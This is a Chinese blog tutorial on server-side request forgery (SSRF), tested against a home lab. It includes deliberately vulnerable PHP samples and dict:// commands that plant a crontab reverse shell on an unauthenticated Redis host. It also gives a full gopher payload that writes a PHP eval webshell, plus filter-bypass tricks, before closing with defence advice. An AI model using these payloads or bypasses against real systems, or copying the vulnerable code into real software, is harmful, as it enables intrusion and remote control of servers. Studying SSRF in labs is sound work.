美文网首页Web攻防
初识SSRF及其利用小结

初识SSRF及其利用小结

作者: book4yi | 来源:发表于2020-08-23 13:46 被阅读0次

    本文仅作学习记录,如有侵权,请联系删除!

    前言


    最近本来打算去实习面试,看到有人分享的某亭实习面试题,备受打击,于是有了这篇文章

    漏洞原理:

    SSRF,即服务器端请求伪造。一种由攻击者构造形成由服务器发起请求的漏洞。一般情况下,SSRF攻击的应用是无法通过外网访问的,所以需要借助目标服务端进行发起,目标服务器可以链接内网和外网,攻击者便可以通过目标主机攻击内网应用。

    漏洞成因:

    由于业务需要,服务端程序需要从其他服务器应用中获取数据,例如获取图片、数据等,但是由于服务器没有对其请求的目标地址做过滤和限制,导致黑客可以利用此缺陷请求任意服务器资源,其中就包含隐匿在内网的应用

    SSRF一般存在点:

    1、服务器主动发起网络请求,例如HTTP/HTTPS/Socket
    2、有远程图片加载、下载的地方。(编辑器之类的有远程图片加载啊、头像等等)
    3、网站采集、网页抓取的地方。(很多网站会有新闻采集输入url然后一键采集)
    4、分享功能,通过URL分享网页内容
    4、API远程调用
    4、一切要求我们输入网址的地方和可以输入ip的地方,只要是服务器可以主动发起网络请求便可能出现

    SSRF的危害:

    1、对目标服务器所在的内网进行IP存活性扫描和端口扫描
    2、识别内网WEB应用指纹,判断应用类型进行攻击
    3、利用扫描的指纹信息判断开放的服务,从而对内网的主机进行攻击
    4、攻击内外网的WEB应用,主要是GET参数就可以实现的攻击(比如Struts2,SQL注入等)
    5、下载内网资源(利用file协议读取本地文件等)
    6、利用Redis未授权访问,HTTP CRLF注入达到getshell
    7、进行跳板
    8、无视cdn
    9、使用特定协议攻击应用(gopher、dict、file、FTP/SFTP等)

    产生漏洞的函数


    file_get_contents()
    fsockopen()
    curl_exec()

    file_get_contents:

    <?php
    $content=file_get_contents($_GET['url']);
    $filename='./images/'.rand().'.jpg';\
    file_put_contents($filename,$content);
    echo $_POST['url'];
    $img="<img src=\"".$filename."\"/>";
    if ($img){
        echo $img;
    }
    else{
        echo "false";
    }
    ?>
    

    这里可以扫描内网存在主机及开放端口
    判断内网开放端口:

    fsockopen函数:

    <?php
    $host=$_GET['url'];
    $port=$_GET['port'];
    # fsockopen(主机名称,端口号码,错误号的接受变量,错误提示的接受变量,超时时间)
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
    if (!$fp) {
        echo "$errstr ($errno)<br />\n";
    } else {
        $out = "GET / HTTP/1.1\r\n";
        $out .= "Host: $host\r\n";
        $out .= "Connection: Close\r\n\r\n";
        # fwrite() 函数将内容写入一个打开的文件中。
        fwrite($fp, $out);
        # 函数检测是否已到达文件末尾 ,文件末尾(EOF)
        while (!feof($fp)) {
            echo fgets($fp, 128);
        }
        fclose($fp);
    }
    ?>
    

    fsockopen方法会去模拟一个HTTP协议,它会发送一个HTTP请求。主要就是如果去构造这个HTTP数据包。

    fsockopen() 将返回一个文件句柄,之后可以被其他文件类函数调用(例如: fgets()、fgetss()、fwrite()、fclose()、feof()等)。如果调用失败,将返回 FALSE

    以上函数是接受url和port来制定socket访问的地址和端口,由于地址和端口用户可控,所以可以用来SSRF漏洞的利用

    curl_exec函数是危害最大的函数,也是需要重点讲的函数。

    漏洞环境:

    win7 + phpstudy
    漏洞源码:

    <?php
    $url=@$_GET['url'];
    $ch=curl_init();//初始化一个新的curl会话,返回一个cURL句柄
    curl_setopt($ch, CURLOPT_URL, $url);//设置一个cURL传输选项 需要获取的URL地址
    curl_setopt($ch, CURLOPT_HEADER, 0);//启用时会将头文件的信息作为数据流输出
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $res=curl_exec($ch);//执行一个cURL会话
    curl_close($ch);
    echo $res;//有回显
    //无回显
    if($res){
        echo "True";
    }else{
        echo "False";
    }
    ?>
    

    获取参数url的值,使用curl进行访问。

    curl_exec的使用需要3个条件:

    1、PHP版本>=5.3
    2、开启extension=php_curl.dll
    3、--wite-curlwrappers(编译PHP时用,此时不需要,可忽略)

    同时需要一台和SSRF漏洞靶机同网段的主机来模拟内网环境

    SSRF靶机(Windows 7):192.168.107.140
    内网主机(kali):192.168.107.129,存在redis未授权

    漏洞确认:


    设置代理尝试抓包,这里看到是能够正常抓到包的:

    而当我们访问ssrf.php?url=http://www.baidu.com时,无法抓到包,这是因为这个请求是由服务端发起的:

    利用VPS监听本地端口

    python3 -m http.server
    

    构造一个特殊的接口或者文件名进行访问:

    接收到数据包证实存在SSRF漏洞

    漏洞利用:


    有回显的情况:

    1、利用file协议实现本地任意文件读取:

    读取php文件:

    2、探测内网存活主机及开放端口:

    通过响应时间长短、标题等多种因素判断内网存活主机:

    3、对内网WEB应用进行指纹识别:

    利用dict协议可以操作redis服务:

    利用contrab计划任务反弹shell

    /ssrf.php?url=dict://192.168.107.129:6379/config+set+dir+/var/spool/cron/crontabs
    /ssrf.php?url=dict://192.168.107.129:6379/set+dbfilename+root
    /ssrf.php?url=dict://192.168.107.129:6379/set+book4yi+%22%5cn%5c%6e%2a%2f1%20%2a%20%2a%20%2a%20%2a%20%2fbin%2fbash%20%2di%3e%26%2fdev%2ftcp%2f192%2e168%2e107%2e137%2f8000%200%3e%261%5cn%5cn%22
    /ssrf.php?url=dict://192.168.107.129:6379/save
    

    攻击redis:


    这里利用的是gopher协议,gopher协议是ssrf利用中最强大的协议。

    gopher协议在各个编程语言中的使用限制:

    gopher协议支持发出get、post请求。如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码。

    gopher发送的数据包为十六进制数据。人工转换比较麻烦,这里我们利用一个负责转换gopher的payload的工具:
    项目地址:https://github.com/firebroo/sec_tools/tree/master/common-gopher-tcp-stream

    编译后,执行命令如下命令,用于监听网卡:

    ./sniffer -p6379 
    

    本地搭建好redis服务后,开启sniffer捕捉,并立即输入info命令查看redis服务,sniffer捕捉到的即为payload

    gopher协议格式为 gopher://ip:port/_ + payload
    这里之所以要加个_是因为gopher://ip:port/后面的第一个字符无法传出

    这里我们将payload拷贝到burp数据包,第一次进行尝试,Kali主机监听6389:

    目标主机并没有收到相应的请求,使用curl命令发送进行第二次尝试:

    curl 'gopher://192.168.107.129:6379/_%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'
    

    可以看到成功执行命令,获取相关信息。可是现实中目标主机处于内网,不能这样利用

    在网上查了查资料后,发现因为在PHP在接收到参数后会做一次URL的解码,正如我们上图所看到的,%20等字符已经被转码为空格。所以,curl_exec在发起gopher时用的就是没有进行URL编码的值,就导致了现在的情况,所以我们要进行二次URL编码

    注意:URL中的/不能进行两次编码,端口号不可以两次编码,协议名称不可两次转码

    这里虽然显示500,但目标主机成功收到监听到相应请求,说明利用成功

    这里我们利用向网站根目录写入一句话的方式getshell:

    完整的payload为:

    %2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%34%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%72%65%64%69%73%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%32%39%0d%0a%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%70%61%73%73%5d%29%3b%20%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
    

    构造burp数据包,发送恶意payload,这里将payload全部进行url编码:

    成功写入一句话至站点根目录。
    这里我们利用curl也可以

    小结一下:
    1、如果redis不存在未授权,需要先得到密码,然后利用auth命令获取认证:127.0.0.1:6379>auth 密码,再通过gopher协议发送
    2、通过dict协议的话要一条条命令地执行,而gopher协议执行一条命令就够了

    绕过方案:


    1、利用@符号

    ssrf.php?url=http://www.test.com@127.0.0.1:80
    

    相当于访问127.0.0.1

    2、利用短地址
    使用在线短链生成器:短链在线生成 - 站长工具

    3、利用特殊域名

    http://127.0.0.1.xip.io/    # 会解析成本地的127.0.0.1
    http://www.owasp.org.127.0.0.1.xip.io/
    http://mysite.10.0.0.1.xip.io 
    http://foo.bar.10.0.0.1.xip.io
    

    4、利用进制转换:
    利用十六进制或者八进制,例如目标IP为:192.168.107.129
    分别将这四段数字转换为16进制和8进制
    16进制:c0、a8、6b、81
    8进制:300、250、153、201
    访问的时候加0表示使用八进制(可以是一个0也可以是多个0)十六进制加0x
    进制转换 - 在线工具

    5、绕过localhost通过[::]
    http://[::]:80/
    http://0000::1:80/

    本地复现失败

    5、URL跳转绕过:http://www.hackersb.cn/redirect.php?url=http://192.168.0.1/

    防御方案:


    1、禁止302跳转,或者没跳转一次都进行校验目的地址是否为内网地址或合法地址。
    2、过滤返回信息,验证远程服务器对请求的返回结果,是否合法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
    3、禁用高危协议,例如:gopher、dict、ftp、file等,只允许http/https
    4、设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)
    5、限制请求的端口为http的常用端口,比如 80、443、8080、8090。或者根据业务需要治开放远程调用服务的端口
    6、统一错误信息,避免黑客通过错误信息判断端口对应的服务
    感谢各位师傅的无私分享!

    参考如下:


    SSRF漏洞利用
    SSRF服务器端请求伪造漏洞基础 - 知乎
    SSRF漏洞中使用到的其他协议(附视频+Py)
    Gopher协议在SSRF漏洞中的深入研究(附视频讲解)

    相关文章

      网友评论

        本文标题:初识SSRF及其利用小结

        本文链接:https://www.haomeiwen.com/subject/vojpjktx.html